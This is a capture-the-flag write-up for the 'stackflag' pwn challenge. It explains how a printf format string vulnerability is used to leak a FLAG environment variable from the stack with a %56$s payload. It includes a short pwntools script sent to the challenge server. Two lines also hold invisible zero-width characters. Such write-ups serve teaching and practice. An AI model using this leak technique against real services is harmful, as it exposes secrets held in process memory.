stackflag

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: format_string_read

Summary

Task: Flag stored in FLAG environment variable, binary has format string vulnerability. Solution: Used %56$s format specifier to leak the flag from the stack where environment variables are stored.

stackflag — SPB CTF

Description

The flag is stored in the FLAG environment variable on the server. Environment variables reside on the stack. The binary has a format string vulnerability — it passes user input directly to printf() without format specifiers.

Analysis

• Vulnerability: Format string vulnerability — printf(user_input) without format specifiers
• Target: FLAG environment variable stored on the stack
• Key detail: Environment variables are stored at the bottom of the stack (high addresses) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

1. The binary does printf(user_input) — classic format string vulnerability
2. Environment variables are stored at the bottom of the stack (high addresses)
3. Used %N$p to dump stack pointers and locate where environment variable pointers are
4. Found that stack position 56 contains a pointer to the FLAG environment variable
5. Sent %56$s to dereference that pointer, which printed the flag string

 python read-only • copy allowed Copy
#!/usr/bin/env python3
from pwn import *

r = remote('109.233.56.90', 11608)
r.sendline(b'%56$s')
print(r.recvall())

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍